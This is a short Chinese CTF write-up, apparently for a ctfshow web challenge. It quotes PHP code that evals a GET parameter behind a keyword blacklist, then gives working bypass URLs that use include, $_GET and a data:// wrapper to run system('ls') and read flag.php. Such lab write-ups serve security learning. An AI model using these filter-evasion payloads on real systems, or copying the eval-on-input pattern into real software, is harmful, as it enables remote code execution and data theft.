信息收集
相较于上一题,这题多了双引号的过滤。我猜测这一题的主要目的可能是为了不让使用$_GET['a']之类的语句,但是$_GET[a]也是一样的
没有括号可以使用include,没有引号可以使用$_GET
可以参考[ctfshow web入门] web32,其中的所有解法都没有使用到双引号,所以都没有失效
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解题
我们取一个最简单的解法,这在[ctfshow web入门] web32中的方法1.1中使用过。
不是我不想整新活,而是实在没活了,上一题基本整完了。
data://text/plain:要求按照文本格式将内容嵌入代码中,使用方法:data://text/plain,content
其中?>利用了php的机制,当遇到?>时会自动添加一个;,也就是说<?php ehco 123 ?> 和<?php ehco 123; ?>等效。我们利用这个机制绕过;的过滤。
?c=include$_GET[1]?>&1=data://text/plain,<?php system("ls") ?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php") ?>

web32 目录 web34


















